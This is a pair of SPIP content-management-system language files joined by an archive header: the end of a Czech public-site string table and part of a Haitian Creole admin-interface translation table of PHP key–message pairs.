// L
'lien_connecter' => 'Přihlášení',
// M
'meme_auteur' => 'Od stejného autora',
'meme_rubrique' => 'Ve stejné rubrice',
'memes_auteurs' => 'Od stejných autorů',
'message' => 'Zpráva',
'messages_forum' => 'Zprávy v diskusním fóru', # MODIF
'messages_recents' => 'Poslední zprávy v diskusních fórech',
'mots_clefs' => 'Klíčová slova',
'mots_clefs_meme_groupe' => 'Klíčová slova ve stejné skupině',
// N
'navigation' => 'Navigace',
'nom' => 'Jméno',
'nouveautes' => 'Co je nového',
'nouveautes_web' => 'Novinky na webu',
'nouveaux_articles' => 'Nové články',
'nouvelles_breves' => 'Nové novinky',
// P
'page_precedente' => 'předchozí strana',
'page_suivante' => 'další strana',
'par_auteur' => 'napsal(a)',
'participer_site' => 'Můžete se aktivně zapojit a napsat nějaký článek pro tento web - zaregistrujte se níže. Okamžitě obdržíte e-mail s přístupovými kódy do části pro autory.',
'plan_site' => 'Mapa stránek',
'popularite' => 'Popularita',
'poster_message' => 'Napsat zprávu',
'proposer_site' => 'Můžete navrhnout odkaz, který má být zařazen do této rubriky:',
// R
'repondre_article' => 'Reagovat na tento článek',
'repondre_breve' => 'Reagovat na tuto novinku ',
'resultats_recherche' => 'Výsledky hledání',
'retour_debut_forums' => 'Zpět na začátek diskusních fór',
'rubrique' => 'Rubrika',
'rubriques' => 'Rubriky',
// S
'signatures_petition' => 'Podpisy',
'site_realise_avec_spip' => 'Stránky vytvořeny pomocí SPIP',
'sites_web' => 'Odkazy',
'sous_rubriques' => 'Podrubriky',
'spam' => 'Spam',
'suite' => 'pokračování',
'sur_web' => 'Na webu',
'syndiquer_rubrique' => 'Zahrnout tuto rubriku',
'syndiquer_site' => 'Zahrnout celý web',
// T
'texte_lettre_information' => 'Zde je zpravodaj tohoto webu',
'texte_lettre_information_2' => 'Tento soupis sumarizuje články a novinky publikované od ', # MODIF
// V
'ver_imprimer' => 'Verze pro tisk',
'voir_en_ligne' => 'Podívejte se online',
'voir_squelette' => 'Zobrazit šablonu této stránky'
);
?>
ecrire_cpf_hat.php 0000666 00000141717 15252547432 0010242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Aktiv plegin an',
'aide_non_disponible' => 'Pati-a bourad la se pa disponib ankò andan lanng la.',
'auteur' => 'Lotè :',
'avis_acces_interdit' => 'Entèdiksyon riv isit .',
'avis_article_modifie' => 'Atansyon, @nom_auteur_modif@ te travaye sou atik-la @date_diff@ minit pase',
'avis_aucun_resultat' => 'Okenn rezilta.',
'avis_chemin_invalide_1' => 'Chemen w te chwazi prann',
'avis_chemin_invalide_2' => 'li samn pa bon. Mèsi tounyen paj dèyè pou verifye tout enfomasyon ki w te done.',
'avis_connexion_echec_1' => 'Koneksyon sou sévè SQL te pa mache.', # MODIF
'avis_connexion_echec_2' => 'Tounyen dèyè sou paj avan, e gad byen tout enfòmasyon w te bay isit-la mèm.',
'avis_connexion_echec_3' => '<b>Atansyon</b> Ak enpè sévè sa-yo fòk w <b>domann</b> ou lébèrgè te aktive laksé labaz SQL, avan w kap itilize ali. Si w vwa se pa posib mèm konek a w, ann gad byen si w te domann ali avan.', # MODIF
'avis_connexion_ldap_echec_1' => 'Koneksyon sou servè LDAP te pa mache.',
'avis_connexion_ldap_echec_2' => 'Tounyen dèyè paj avan pou ou byen gade ankò enfòmasyon yo w te doné.',
'avis_connexion_ldap_echec_3' => 'Ann itilize pa sipò LDAP pou gen enpòt itilizatè yo.',
'avis_deplacement_rubrique' => 'Atansyon ! Ribwik la @contient_breves@ brève@scb@ : si w déplas ali, mési ekri yon krwa po konfirmasyon.',
'avis_destinataire_obligatoire' => 'Fòk w enskri yon destinatè avan voye mesaj la.',
'avis_erreur_connexion_mysql' => 'Erè ak koneksyon SQL', # MODIF
'avis_erreur_version_archive' => '<b>Atansyon! Fichye @archive@ ka koresponn
lòt vèsyon SPIP
.</b> W ke genyen gwo pwoblèm sa-yo mèm
: bazdone ke petèt kraze, ouswa sit w ke pa mache. Ann
pa konfime domann lenpòtasyon-nan .<p>W ke trouve kèk enfòmasyon sou paj
<a href="@spipnet@">
dokimantasyon SPIP la</a>.</p>', # MODIF
'avis_espace_interdit' => '<b>Espas entèdi</b><div>SPIP se déja instalé.</div>',
'avis_lecture_noms_bases_1' => 'Pwogwam pou enstalasyon, li te pa kap fè lekti kouman ki rele bazdone yo, yo ki deja enstale.',
'avis_lecture_noms_bases_2' => 'Ouswa okenn bazdone se disponib, oswa fonksyon-nan ki pèmè fé lan lis tout bazdone te kraze akòz sekirite
(genyen anpil lebergè te chwazi ki se ka-a).',
'avis_lecture_noms_bases_3' => 'Nan dezyèm ka, gen petèt posib itilize yon lòt baz ki rele deja nonkod w sa-a :',
'avis_non_acces_message' => 'Aksé entèdi sou mesaj la.',
'avis_non_acces_page' => 'Ou gen pa aksé sou paj la.',
'avis_operation_echec' => 'Operasyon la te pa mache.',
'avis_probleme_archive' => 'Pwoblèm pou fè lekti fichyé @archive@',
'avis_suppression_base' => 'ATANSYON, sipwesyon tout done-an se pa kav tounen deyé',
'avis_version_mysql' => 'Ou versyon SQL (@version_mysql@) i gen pa pémi ranje tousèl tab yo andan la bazdoné.', # MODIF
// B
'bouton_acces_ldap' => 'Ajoute yon aksé LDAP',
'bouton_ajouter' => 'Ajoute',
'bouton_ajouter_participant' => 'AJOUTE YON PATISIPAN :',
'bouton_annonce' => 'ANONS',
'bouton_checkbox_envoi_message' => 'posibilite voye yon mesaj',
'bouton_checkbox_indiquer_site' => 'fòk enskri yon sitwèb',
'bouton_checkbox_signature_unique_email' => 'yon sèl siyati pou yon ladrès imèl ',
'bouton_checkbox_signature_unique_site' => 'yon sèl siyati pou yon sitwèb',
'bouton_demande_publication' => 'Mann atik la i parèt',
'bouton_desactive_tout' => 'Empeche laktivasyon',
'bouton_effacer_index' => 'Kraze endèks yo',
'bouton_effacer_tout' => 'Kraze TOUT',
'bouton_envoi_message_02' => 'VOYE YON MESAJ',
'bouton_envoyer_message' => 'Mesaj se bon : voye',
'bouton_modifier' => 'Chanje',
'bouton_pense_bete' => 'RAPLE-W POU W MEM',
'bouton_radio_activer_messagerie' => 'Mèt kazmodékri',
'bouton_radio_activer_messagerie_interne' => 'Mèt kazmodekri',
'bouton_radio_activer_petition' => 'Mèt yon pétisyon',
'bouton_radio_afficher' => 'Fé parèt',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Montre w nan lis redaktè yo ap an liy',
'bouton_radio_desactiver_messagerie' => 'Rete kazmodekri',
'bouton_radio_envoi_annonces_adresse' => 'Voye anons yo sou adrès la :',
'bouton_radio_envoi_liste_nouveautes' => 'Voye yon lis nouvèlte yo',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ann pa aparèt w nan lis redakté yo ap an liy',
'bouton_radio_non_envoi_annonces_editoriales' => 'Rete voye anons editoyal ',
'bouton_radio_pas_petition' => 'Okenn petisyon',
'bouton_radio_petition_activee' => 'Petisyon ka mache',
'bouton_radio_supprimer_petition' => 'Kraez petisyon nan',
'bouton_redirection' => 'TOUNYEN ADRES DEYO',
'bouton_relancer_installation' => 'Ann eseye ankò instalasyon nan',
'bouton_suivant' => 'Swivan',
'bouton_tenter_recuperation' => 'Esèy yon aranjman',
'bouton_test_proxy' => 'Esèy proksi',
'bouton_vider_cache' => 'Vid kach-la',
'bouton_voir_message' => 'Gad mesaj-la avan konfime',
// C
'cache_mode_compresse' => 'Fichye yo kach se konprese.',
'cache_mode_non_compresse' => 'Fichye yo kach se pa konprese.',
'cache_modifiable_webmestre' => 'Webmèt sit-la sèlman li kap chanje paramèt sa-a.',
'calendrier_synchro' => 'Si w itilize yon logisyèl pou en lajenda ki mache ak <b>iCal</b> (Apple iCal, Mozilla Calendar, Ximian Evolution, KOrganizer...), w pé mèt ali swiv yon ritm laktyalité sit-la kan li chanje.',
// D
'date_mot_heures' => 'èr yo',
// E
'email' => 'limèl',
'email_2' => 'limèl :',
'entree_adresse_annuaire' => 'Adrès nan aniyè',
'entree_adresse_email' => 'ou ladrès limèl',
'entree_base_donnee_1' => 'Ladrès bazdone',
'entree_base_donnee_2' => '(Souvan ladrès-la se paréy sak ladrès sitwèb w-a, osnon lès senpman «localhost», oubyen lès ali vid.)',
'entree_biographie' => 'Ki se w (kèk mo sèlman).',
'entree_chemin_acces' => '<b>Rantre</b> chemen pou aksè :',
'entree_cle_pgp' => 'Ou klé PGP',
'entree_contenu_rubrique' => '(Kisa ribrik-la gen kontni nan kèk mo.)',
'entree_identifiants_connexion' => 'Ou lidantifyan pou koneksyon...',
'entree_informations_connexion_ldap' => 'Mèsi mèt dann komisyon-la tout enfòmasyon nésesè pou abòd laniyè LDAP.
Tout informasyon-nan, komandèr-sistèm ou komandèr-rézo li dwa donn a w.',
'entree_infos_perso' => 'Kouman w rele ?',
'entree_interieur_rubrique' => 'Andan ribrik-la :',
'entree_liens_sites' => '<b>Lyen ipètèks</b> (referans, sit pou fè yon vire...)',
'entree_login' => 'Ou nonkod',
'entree_login_connexion_1' => 'Nonkod pou koneksyon',
'entree_login_connexion_2' => '(souvan se nondkod ou pou laksé FTP mèm ; men se posib lès vid)',
'entree_login_ldap' => 'Premye nonkod LDAP ',
'entree_mot_passe' => 'Ou modpas',
'entree_mot_passe_1' => 'Modpas pou koneksyon',
'entree_mot_passe_2' => '(souvan se nondkod ou pou laksé FTP menm ; men se posib lès vid)',
'entree_nom_fichier' => 'Mési enskri kouman fichye @texte_compresse@ i rele:',
'entree_nom_pseudo' => 'Kouman w rele',
'entree_nom_pseudo_1' => '(Kouman w rele)',
'entree_nom_site' => 'Kouman sit li rele',
'entree_nouveau_passe' => 'Nouvo modpas',
'entree_passe_ldap' => 'Modpas',
'entree_port_annuaire' => 'Niméwo por lanyè',
'entree_signature' => 'Siyati',
'entree_titre_obligatoire' => '<b>Kouman bagay la rele</b> [Nesesè]<br />',
'entree_url' => 'Ladrès (URL) sit-w',
'erreur_plugin_fichier_absent' => 'Oken fichye',
'erreur_plugin_fichier_def_absent' => 'Oken fichye pou definisyon an',
'erreur_plugin_nom_fonction_interdit' => 'Kouman fichiye a rele se entedi ',
'erreur_plugin_nom_manquant' => 'W ki pa rele plegin an ',
'erreur_plugin_tag_plugin_absent' => '<Pa oken plegin an > nan fichye pou définisyon',
'erreur_plugin_version_manquant' => 'Pa oken vesyon plegin an',
// I
'ical_info1' => 'Paj-la ka donn a w kouman w kap gen lyen ak lavi sit-la.',
'ical_info2' => 'Si w vle dot ranseyman sou tout teknik anlèr, ezit pa gad <a href="@spipnet@">tout paj dokimantasyon pou SPIP</a>.', # MODIF
'ical_info_calendrier' => 'W genyen dé kalandryé. Promyè sé kart sit-la ki anonsé tout atik piblyé. Lòt dezyèm se kalandryé ka kontni tout anons editoryal yo ak mesaj prive yo ki w te genyen : kalandryé a se résèvè pou w sèlman akoz w gen ositou yon klé pèsònel. Klé ou-a kap chanje nepòt kan w vle pa chanje modpas w-a.',
'ical_methode_http' => 'Telechajman',
'ical_methode_webcal' => 'Sinkwonizasyon (webcal://)',
'ical_texte_js' => 'Yon liy javaskrip (javascript) ka pémè w fé parèt senpman tout atik résan nan ki te pibliyé nan sit la, sou nepòt sit ki w genyen a w.',
'ical_texte_prive' => 'Kalandriyé a, se sèlman pèsònel, ki enfòm a w kisa se laktivité editoryal pwivé sou sit-la (kisa se ankò pou fè, rannkont lòt patisipan, kisa se atik yo ak tinouvèl ki pwopozé pou piblikasyon...).',
'ical_texte_public' => 'Kalandriyé a ka pémè w swiv laktivité piblik sou sit la (atik yo ak tinouvèl ositou ki pibliyé).',
'ical_texte_rss' => 'Ou kap sendiké tout nouvèltè sou sit la nan nepòt kisa lèktè fichyé a ki mache sou fòma XML/RSS (Rich Site Summary). Fòma se fòma ka pémè SPIP fè lekti tout nouvèlté ki pibliyé sou lòt sit yo ka itilize yon fòma echanj posib (konpatib konsa sit sendiké yo).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lis-limèl',
'ical_titre_rss' => 'Fichye yo pou sendikasyon',
'icone_activer_cookie' => 'Mèt yon gatomakro ',
'icone_admin_plugin' => 'Jere tout plegin yo',
'icone_afficher_auteurs' => 'Afiche lotè yo',
'icone_afficher_visiteurs' => 'Afiche vizitè yo',
'icone_arret_discussion' => 'Rete sotni kozman-nan',
'icone_calendrier' => 'Kalandrye',
'icone_creer_auteur' => 'Kreye yon nouvo lotè ek mèt ali ak atik la',
'icone_creer_mot_cle' => 'Kreye yon nouvo mokle ek gen yon lyen ak atik la',
'icone_creer_rubrique_2' => 'Kreye yon nouvo ribrik',
'icone_envoyer_message' => 'Voye mesaj la',
'icone_modifier_article' => 'Chanje atik la',
'icone_modifier_message' => 'Chanje mesaj la',
'icone_modifier_rubrique' => 'Chanje ribrik la',
'icone_retour' => 'Tounyen deyé',
'icone_retour_article' => 'Tounyen deyé sou atik a',
'icone_supprimer_cookie' => 'Kraze gatomakro ',
'icone_supprimer_rubrique' => 'Kraze ribrik la',
'icone_supprimer_signature' => 'Kraze siyati a',
'icone_valider_signature' => 'Konfime siyati a',
'image_administrer_rubrique' => 'Ou kapab gèr ribrik la',
'info_1_article' => '1 atik',
'info_1_site' => '1 sitwèb',
'info_activer_cookie' => 'Ou kapab mèt <b> yon gatomakro ki rokonèt a w</b>, ki ke pèmè
fè yon viré ant sit piblik ek sit privé.',
'info_admin_gere_rubriques' => 'Komandè-a gè ribrik yo isit kote mèm :',
'info_admin_gere_toutes_rubriques' => 'Komandè-a kapab gère <b>tout ribrik yo</b>.', # MODIF
'info_administrateur' => 'Komandè',
'info_administrateur_1' => 'Komandè',
'info_administrateur_2' => 'sit (<i>atansyon kan w ke itilize ali</i>)',
'info_administrateur_site_01' => 'Si w se komandè sit-la, mèsi',
'info_administrateur_site_02' => 'klik lyen nan',
'info_administrateurs' => 'Komandè yo',
'info_administrer_rubrique' => 'Ou kapab gère ribrik-la',
'info_adresse' => 'sou ladrès :',
'info_adresse_url' => 'Ladrès(URL) sit piblik',
'info_afficher_visites' => 'Fè parèt vizit yo pou :',
'info_aide_en_ligne' => 'Bourad an liy SPIP',
'info_ajout_image' => 'Kan w vlé ajoute kèk imaj tankou kèk dokiman jwenn sou yon atik,
Spip kap kreye kèk vinyèt ak imaj yo w te mèt sou sit la(kèk piti imaj)otomatikman.Konsa gen posib
kreye yon galri ou yon pòtfolyo otomatik.
.',
'info_ajout_participant' => 'Patisipan swivan te fin ajoute :',
'info_ajouter_rubrique' => 'Ajoute yon lòt ribrik pou gére :',
'info_annonce_nouveautes' => 'Annons nouvèlté yo',
'info_anterieur' => 'avan',
'info_article' => 'atik',
'info_article_2' => 'atik yo',
'info_article_a_paraitre' => 'Atik posdaté yo ki pou parèt',
'info_articles_02' => 'atik yo',
'info_articles_2' => 'Atik yo',
'info_articles_auteur' => 'Tout atik lotè-a ',
'info_articles_trouves' => 'Atik yo ki te rannkont',
'info_articles_trouves_dans_texte' => 'Atik yo ki te rannkont (nan tèks)',
'info_attente_validation' => 'Atik w-a ki tann komandè konfime',
'info_aujourdhui' => 'jodiya, :',
'info_auteur_message' => 'LOTE MESAJ LA:',
'info_auteurs' => 'Lotè yo',
'info_auteurs_par_tri' => 'Lotè yo@partri@',
'info_auteurs_trouves' => 'Lotè yo ki te fin rannkont',
'info_authentification_externe' => 'Lotantifikasyon déò',
'info_avertissement' => 'Mesaj pou atansyon',
'info_base_installee' => 'Strikti bazdone se enstale.',
'info_chapeau' => 'Chapo',
'info_chapeau_2' => 'Chapo :',
'info_chemin_acces_1' => 'Opsyion sa-yo: <b>Chemen pou laksè nan laniyè</b>',
'info_chemin_acces_2' => 'Ou kapak konfigir chemen laksé sou enfòmasyon sa-yo ki nan laniyè. enfòmasyon-nan sé nésèsè pou fè lekti pwòfil zitilizatè yo ki enskinan laniyè sa-a.',
'info_chemin_acces_annuaire' => 'Opsyon sa-yo : <b>Chemen pou laksè nan lanyè',
'info_choix_base' => 'Trwazièm etap :',
'info_classement_1' => '<sup>ye</sup> sou @liste@',
'info_classement_2' => '<sup>em</sup> sou @liste@',
'info_code_acces' => 'Oubliy pa kod laksè w-a, pou w mèm !',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_config_suivi' => 'Si ladrès-la ap koresponn yon lis-limèl, w kap enskri isit anba ladès tout patisapan sou sit-la yon ke kap enskri a y. Ladrès-la pétèt se yon URL (pa egsanp lapaj lenskrisyon sou lalis-limèl pa Web-la), osnon yon ladrès limèl ki gen yon sijé spécifik (pa egsanp: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'W kap enskri w pou ou gen lalis-limèl sit-la. Ou ke gen alò yon limèl pou rankont tout anons pou atik-la ek tinouvèl nan sit-la ki pwopozé pou piblikasyon.',
'info_confirmer_passe' => 'Konfime nouvo modpas-la :',
'info_connexion_base' => 'Dezyem etap : <b>Esey fè yon koneksyon sou labaz</b>', # MODIF
'info_connexion_ldap_ok' => 'Koneksyon LDAP te mache.</b><p> Ann gen w etap swivan.</p>', # MODIF
'info_connexion_mysql' => 'Premye etap : <b>Ou koneksyon SQL</b>', # MODIF
'info_connexion_ok' => 'Koneksyon nan te fin mache.',
'info_contact' => 'Kontak',
'info_contenu_articles' => 'Kisa ap kontni nan atik yo',
'info_creation_paragraphe' => '(Pou kreye kèk pawagwaf, ann lès kèk liy vid senpman.)', # MODIF
'info_creation_rubrique' => 'Avan w kapab ekri kèk atik,<br /> fòk w te fin kreye yon ribrik omwen.<br />',
'info_creation_tables' => 'Katryèm etap : <b>Kreye kèk tab nan bazdone</b>', # MODIF
'info_creer_base' => '<b>Kreye</b> yon nouvo bazdone :',
'info_dans_rubrique' => 'Andan ribrik :',
'info_date_publication_anterieure' => 'Dat li te fin pibliyé avan :',
'info_date_referencement' => 'DAT SIT-LA TE FIN REFERANSE :',
'info_derniere_etape' => 'Dènye etap : <b> se fin fini !', # MODIF
'info_derniers_articles_publies' => 'Denye atik w-a ki te fin pibliye an liy',
'info_desactiver_messagerie_personnelle' => 'W kapab mèt oubyen suspann lan kazmodékri (mesajri) pésonèl sou sit-la.',
'info_descriptif' => 'Dekrisyon :',
'info_discussion_cours' => 'Kozman ki ap diskite',
'info_ecrire_article' => 'Ou dwa dabò kreye yon premyé ribrik avan ekri yon atik.',
'info_email_envoi' => 'Adrès limèl pour voye yon mesaj (pa oblijé)',
'info_email_envoi_txt' => 'Ann enskri isit ladrès fòk limèl yo ke rive sou (osnon ladrès destinatè ke itilise konsa yon ladrès pou lanvwa) :',
'info_email_webmestre' => 'Ladrès limèl wèbmèt(pa oblije)', # MODIF
'info_entrer_code_alphabet' => 'Rantre kòd lalfabe w vle sit-la li itilize :',
'info_envoi_email_automatique' => 'Pou voye kèk limèl otomatikman',
'info_envoyer_maintenant' => 'Voye kounye-a touswit',
'info_etape_suivante' => 'Mach etap swivan',
'info_etape_suivante_1' => 'Ou kapab mach etap swivan.',
'info_etape_suivante_2' => 'Ou kapab mach etap swivan.',
'info_exportation_base' => 'espòtasyon labaz sou @archive@',
'info_facilite_suivi_activite' => 'Pou yon swivi fasil lakivité sit-la
, SPIP kapab
voye tout domann osnon konfimasyon pou fè parèt yon atik pa egsanp nan list-limèl pou redaktè.',
'info_fichiers_authent' => 'Fichye yo pou lotantifikasyon « .htpasswd »',
'info_forums_abo_invites' => 'Sit w genyen fowom sou abonman ; vizitè se invite enskri ali sou sit piblik.',
'info_gauche_admin_effacer' => '<b>Responsab sit-la selman kapab fè lekti paj-la.</b><p> Li pèrmè laksé pou diféran fonksyon teknik pou swen sit sa-a. Genyen fonksyon sa-yo ki doman yon otantifikasyon espesifik ki doman yon laksé FTP pou sitweb-la.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Responsab sit-la selman kapab fè lekti paj-la.</b><p> Li pèrmè laksé pou diféran fonksyon teknik pou swen sit sa-a. Genyen fonksyon sa-yo ki doman yon otantifikasyon espesifik ki doman yon laksé FTP pou sitweb-la.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Responsab sit-la selman kapab fè lekti paj-la.</b><p> Li pèrmè laksé pou diféran fonksyon teknik pou swen sit sa-a. Genyen fonksyon sa-yo ki doman yon otantifikasyon espesifik ki doman yon laksé FTP pou sitweb-la.</p>', # MODIF
'info_gauche_auteurs' => 'Isit, genyen tout zotè sit sa-a.
Koulè imaj rannkont stati yo (komandè = vèr; redaktè = jon).',
'info_gauche_auteurs_exterieurs' => 'Tout lòtè andèyò, ki genyen pa aksè sit-la, se afiche pa yon ikòn blè ;
lòtè yo ki te kraze se yon bwat poubèl.', # MODIF
'info_gauche_messagerie' => 'Mesajri rann w kapab voye tout mesaj ant redaktè, gade pansbèt (pèsonel) osnon fè parèt annons sou paj akey nan espas prive (si w se komandè).',
'info_gauche_numero_auteur' => 'LOTE NIMEWO',
'info_gauche_statistiques_referers' => 'Paj-la se paj ki done lis <i>referers</i>, se dir tout sit sa-yo ki genyen lyen ki rive sou sit w, yer ak jodila ; li repar zéwo tout 24èr la.',
'info_gauche_visiteurs_enregistres' => 'Ou ka rannkont isit vizitè yo ki enskri
nan espas piblik sit sa-a (fowom sou labonman).',
'info_generation_miniatures_images' => 'Kreyasyon piti imaj la',
'info_gerer_trad' => 'Eske fòk sit-la kap okipe tout lyen-tradiksyon ?',
'info_hebergeur_desactiver_envoi_email' => 'Kèk lebègè ki sispann posibilitè voye kèk limèl otomatikman
sou sèvè yo-a. Alò, tout fonksyonalité swivan ke pa mache.
',
'info_hier' => 'yèr :',
'info_historique_activer' => 'Fè mache posibilité gad kisa te chanje',
'info_historique_affiche' => 'Fè parèt vèsyon la',
'info_historique_comparaison' => 'konparezon',
'info_historique_desactiver' => 'Kraze swivi kisa te chanje',
'info_historique_texte' => 'Swivi tout chanjman ran w kapab sere yon istorik pou tout bagay ki ap chanje nan kontni yon atik. Li afich kisa ki chanje ant kèk vèsyon sa-yo.',
'info_identification_publique' => 'Ou lidantité piblik...',
'info_image_process' => 'Tanpri chwazi mèyè métod pou lakreyasyon viyèt yo. Pou sa-a mèsi klike sou imaj la ki koresponn.',
'info_image_process2' => '<b>N.B.</b> <i>Si oken imaj ki parèt, pètèt se sèvè ki ebèj sit ou ki pa konfigire pou itilize outiy sa-yo. Fòk w kontak responsab teknik sèvè an pou domann tout ektansyon «GD» ou «Imagick» sa-yo.</i>', # MODIF
'info_images_auto' => 'Imaj kalkilé otomatikman',
'info_informations_personnelles' => 'Sinkyèm etap : <b>Enfòmasyon pèsonel yo</b>', # MODIF
'info_inscription_automatique' => 'Enskrisyon otomatik pou nouvo redaktè yo',
'info_jeu_caractere' => 'Je kawaktè-liprimiri pou sit sa-a',
'info_jours' => 'jou yo',
'info_laisser_champs_vides' => 'lès chan vid yo',
'info_langues' => 'Tout lanng sit la',
'info_ldap_ok' => 'Lotantifikasyon LDAP se enstale.',
'info_lien_hypertexte' => 'Lyen ipètèks :',
'info_liste_redacteurs_connectes' => 'Llis redaktè ki ap an liy kounye-a',
'info_login_existant' => 'Nonkod la ki egziste deja.',
'info_login_trop_court' => 'Nondkod ki tro piti.',
'info_maximum' => 'maksimom :',
'info_meme_rubrique' => 'Lòt dokiman nan pati sa a nan sit la',
'info_message' => 'Mesaj nan',
'info_message_efface' => 'MESAJ KRAZE',
'info_message_en_redaction' => 'Mesaj w yo ki ap ekri ankò',
'info_message_technique' => 'Mesaj tèknik :',
'info_messagerie_interne' => 'Kazmodékri andodan',
'info_mise_a_niveau_base' => 'Mèt baz SQL nan bon nivo', # MODIF
'info_mise_a_niveau_base_2' => '{{Tansyon!}} W te instalé yon vèsyon
fichye SPIP ki {pli vyé} vèsyon sa-a ki sou sit avant
: genyen danje bazdone ou ke pèdi osnon li ki pa mache ek sit-la
pa mache mèm.<br />{{Fòk w instal ankò
yon lot fwa tout fichye spip pli frè.}}',
'info_modifier_rubrique' => 'Chanje ribrik-la :',
'info_modifier_titre' => 'Chanje : @titre@',
'info_mon_site_spip' => 'Sit SPIP a mwen',
'info_mot_sans_groupe' => '(Mokle ki genyen pa oken gwoup...)',
'info_moteur_recherche' => 'Motè-rechèche andodan',
'info_moyenne' => 'mwayèn :',
'info_multi_articles' => 'Eske gen bezwen mèt meni lalanng sou atik yo ?',
'info_multi_cet_article' => 'Lalanng atik la :',
'info_multi_langues_choisies' => 'Mèsi chwazi lang redaktè kapab itilize
genyen inposib kraze lang sa-yo ki deja itilize sou sit-la (yo afiche premyé).',
'info_multi_rubriques' => 'Eske gen bezwen mèt meni lalanng sou ribrik yo ?',
'info_multi_secteurs' => '... sèlman sou ribrik andan rasin sit la ?',
'info_nom' => 'Kouman i rele',
'info_nom_destinataire' => 'Kouman destinatè i rele',
'info_nom_site' => 'Kouman sit la li rele',
'info_nombre_articles' => '@nb_articles@ atik (yo),',
'info_nombre_partcipants' => 'PATISIPAN TO NAN KOZMAN :',
'info_nombre_rubriques' => '@nb_rubriques@ ribrik (yo),',
'info_nombre_sites' => '@nb_sites@ sit (yo),',
'info_non_deplacer' => 'Mèsi chanje pa laplas-la...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'Spip kapab voye lis dènryè nouvelté sou sit-la
(tout nouvo atik ak tinouvèl ki pibliyé).',
'info_non_envoi_liste_nouveautes' => 'Voye pa lis nouvelté.',
'info_non_modifiable' => 'ki pa posib chanje',
'info_non_suppression_mot_cle' => 'mwen vle pa kraze mokle-a.',
'info_notes' => 'Not yo',
'info_nouveaux_message' => 'Nouvo mesaj yo',
'info_nouvel_article' => 'Nouvo atik',
'info_nouvelle_traduction' => 'Nouvo tradiksyon :',
'info_numero_article' => 'ATIK NIMEWO :',
'info_obligatoire_02' => '[Nésèsè]', # MODIF
'info_option_accepter_visiteurs' => 'Asepte vizitè yo enskri y sou sit piblik',
'info_option_faire_suivre' => 'Voye mesaj yo nan fowom yo pou lotè sa-yo tout atik ki komanté',
'info_option_ne_pas_accepter_visiteurs' => 'Refize lenskripsyon vizitè yo',
'info_options_avancees' => 'KEK OPSYON PWESI ',
'info_ortho_activer' => 'Fè mache vérifikatè lotograf',
'info_ortho_desactiver' => 'Suspann vérifikatè lotograf',
'info_ou' => 'ou...',
'info_page_interdite' => 'Paj-la se entèdi',
'info_par_nom' => 'kritè se kouman rele',
'info_par_nombre_article' => '(pa nonm artik yo)',
'info_passe_trop_court' => 'Modpas se tro piti.',
'info_passes_identiques' => 'Ou dè modpas yo se pa parey sa-mèm.',
'info_pense_bete_ancien' => 'Ou vyé raple-w sa-yo ', # MODIF
'info_plus_cinq_car' => 'plis de 5 kawaktè-leprimri',
'info_plus_cinq_car_2' => '(Plis de 5 kawaktè-lenprimri)',
'info_plus_trois_car' => '(Plis de 3 kawaktè-lenprimri)',
'info_popularite' => 'kouman se popilè : @popularite@ ; vizit yo : @visites@',
'info_popularite_4' => 'kouman se popilè : @popularite@ ; vizit yo : @visites@',
'info_post_scriptum' => 'Gen di ankò',
'info_post_scriptum_2' => 'Gen di ankò :',
'info_pour' => 'pou',
'info_preview_admin' => 'Komnadè yo sèlman kapab gad avan sit sa- kom l te an liy',
'info_preview_comite' => 'Tout redakté kapab gad avan sit-la kom li te an liy',
'info_preview_desactive' => 'Sistèm pou gad avan kom te an liy tout patisipasyon, l ap pa aktive ',
'info_preview_texte' => 'Posib gad avan sit-la kom si tout atik ek tinouvèl sa-yo (yon ki lestati « se pwopozé » omwen) te pibliyé an liy. Eske w vle bay posibilite a ouvè pou tout komandè sèlman, oubyen tout rédaktè, ousinon pa okenn moun sa-mèm ?',
'info_principaux_correspondants' => 'Ou gwoup kowespondan pli enpòtan',
'info_procedez_par_etape' => 'avans etap pa etap',
'info_procedure_maj_version' => 'fòk w koumans larnouvèlman labaz pou adapte labazdone
ansamn nouvo vèsyon SPIP.',
'info_ps' => 'Gen di ankò.',
'info_publier' => 'pibliye',
'info_publies' => 'Atik w-a ki ap pibliye an liy',
'info_question_accepter_visiteurs' => 'Si leskelèt sit w la, li ka pwopoze lenskripsyon vizitè ki pa laksé lespas privé, mèsi w aktive lopsyon issit anba :',
'info_question_inscription_nouveaux_redacteurs' => 'Aksepte ounon pa aksepte w tout enskripsyon nouvo redaktè sou lespas piblik sit-la ?
Si wi ka aksepte, vizité yo ke enskri azot depi
yon fòmilè, pou zot ke sere laksé nan espas privé pou zot kapab pwopoze
zot pwop atik yo a y mèm. <blockquote><i>Kann moun-la zot ap enskri azot,
y reswa yon limèl otomatik
ki bay azottout kod laksé sou sit privé. Kèk
lébèjè ka enpeche lanvwa tout limèl depi zot sèvè :
alò, lenskrisyon otomatik ke
inposib.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Eske w vle itilize motè pou chèche de SPIP ?
(enlèv ali ke rann sistèm pli rapid ek soup.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Rasin sit-la',
'info_recharger_page' => 'Tapri rochaj paj la nan kèk minit.',
'info_recherche_auteur_a_affiner' => 'Genyen trò rezilta pou "@cherche_auteur@" ; tanpri souple fè yon nouvo chèche pli prési.',
'info_recherche_auteur_ok' => 'Kèk redaktè te fin trouve pou "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Okenn rezilta pou « @cherche_auteur@ ».',
